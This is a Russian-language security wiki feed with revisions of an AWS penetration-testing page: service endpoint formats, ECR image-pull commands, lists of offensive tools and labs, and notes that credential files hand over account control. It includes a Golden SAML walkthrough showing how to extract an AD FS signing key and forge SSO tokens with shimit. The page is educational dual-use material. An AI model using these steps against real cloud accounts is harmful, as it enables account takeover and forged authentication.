Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Augmented AI (Amazon A2I) ==&lt;br /&gt;
&lt;br /&gt;
Предоставляет интерфейс для обработки человеком предварительных результатов, полученных с помощью машинного обучения.&lt;br /&gt;
&lt;br /&gt;
[Файл:Product-Page-Diagram A2I.png| 500px]&lt;br /&gt;
&lt;br /&gt;
Данные сохраняются в S3, а также к задаче прикрепляется IAM-роль .&lt;br /&gt;
&lt;br /&gt;
При создании задачи разделяется на 3 варианта:&lt;br /&gt;
&lt;br /&gt;
* Textract - извлечение пары ключ-значение из текста&lt;br /&gt;
&lt;br /&gt;
* Rekognition - определение того, что изображено на фото. Например, чтобы оградить от 18+ контента.&lt;br /&gt;
&lt;br /&gt;
* Custom - пользовательский вариант&lt;br /&gt;
&lt;br /&gt;
Интересный факт - использует &amp;quot;Quill Rich Text Editor&amp;quot; для текста с инструкциями. То есть, если в нем будет уязвимость, то можно проверить амазон тоже.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/augmented-ai/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также у сервиса есть Workers - сервера, выполняющие кучу тасков. Они могут быть трех типов:&lt;br /&gt;
&lt;br /&gt;
1. Amazon Mechanical Turk - тупо сервера Amazon, за которые надо платить.&lt;br /&gt;
&lt;br /&gt;
2. Private - юзают если обрабатывают приватную инфу или задачи, не поддерживаемые первым пунктом (ну или регион не поддерживается). Это команды, которые имеют доступ к данным и которые могут запускать задачи. Команды менеджарятся с Amazon Cognito.&lt;br /&gt;
&lt;br /&gt;
3. Vendor - решения сторонних разработчиков.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли ===&lt;br /&gt;
&lt;br /&gt;
==== AmazonAugmentedAIIntegratedAPIAccess ====&lt;br /&gt;
&lt;br /&gt;
Дает доступ к Augmented AI Runtime, Amazon Rekognition или Amazon Textract API.&lt;br /&gt;
&lt;br /&gt;
TODO: проверить, дает ли это еще возможностей злоумышленнику&lt;br /&gt;
&lt;br /&gt;
== CodeGuru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/codeguru/&lt;br /&gt;
&lt;br /&gt;
== Comprehend ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/comprehend/&lt;br /&gt;
&lt;br /&gt;
== DevOps Guru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/devops-guru/&lt;br /&gt;
&lt;br /&gt;
== Elastic Inference ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/elastic-inference/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Forecast ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/forecast/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Fraud Detector ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/fraud-detector/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== HealthLake ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/healthlake/&lt;br /&gt;
&lt;br /&gt;
== Kendra == &lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/kendra/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lex ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lex/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lookout for Equipment ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/lookout-for-equipment/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Metrics ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-metrics/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Vision ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-vision/&lt;br /&gt;
&lt;br /&gt;
== Monitron ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/monitron/&lt;br /&gt;
&lt;br /&gt;
== Personalize ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/personalize/&lt;br /&gt;
&lt;br /&gt;
== Polly ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/polly/&lt;br /&gt;
&lt;br /&gt;
== Rekognition ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/rekognition/&lt;br /&gt;
&lt;br /&gt;
== SageMaker ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/&lt;br /&gt;
&lt;br /&gt;
== SageMaker Ground Truth ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/groundtruth/&lt;br /&gt;
&lt;br /&gt;
== Textract ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/textract/&lt;br /&gt;
&lt;br /&gt;
== Transcribe ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/transcribe/&lt;br /&gt;
&lt;br /&gt;
== Translate ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/translate/&lt;br /&gt;
&lt;br /&gt;
== Apache MXNet ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/mxnet/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning Containers ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/containers/&lt;br /&gt;
&lt;br /&gt;
== DeepComposer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepcomposer/&lt;br /&gt;
&lt;br /&gt;
== DeepLens ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deeplens/&lt;br /&gt;
&lt;br /&gt;
== DeepRacer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepracer/&lt;br /&gt;
&lt;br /&gt;
== Inferentia ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/inferentia/&lt;br /&gt;
&lt;br /&gt;
== Panorama ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/panorama/&lt;br /&gt;
&lt;br /&gt;
== PyTorch ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/pytorch/&lt;br /&gt;
&lt;br /&gt;
== TensorFlow ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/tensorflow/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning AMI ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/amis/&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
[https://pentesting.cloud/ Free AWS Security Labs]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:Product-Page-Diagram_A2I.png&amp;diff=1218</id>
		<title>Файл:Product-Page-Diagram A2I.png</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:Product-Page-Diagram_A2I.png&amp;diff=1218"/>
				<updated>2022-10-17T10:46:34Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1217</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1217"/>
				<updated>2022-10-12T21:06:24Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Роли - повышение привилегий */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
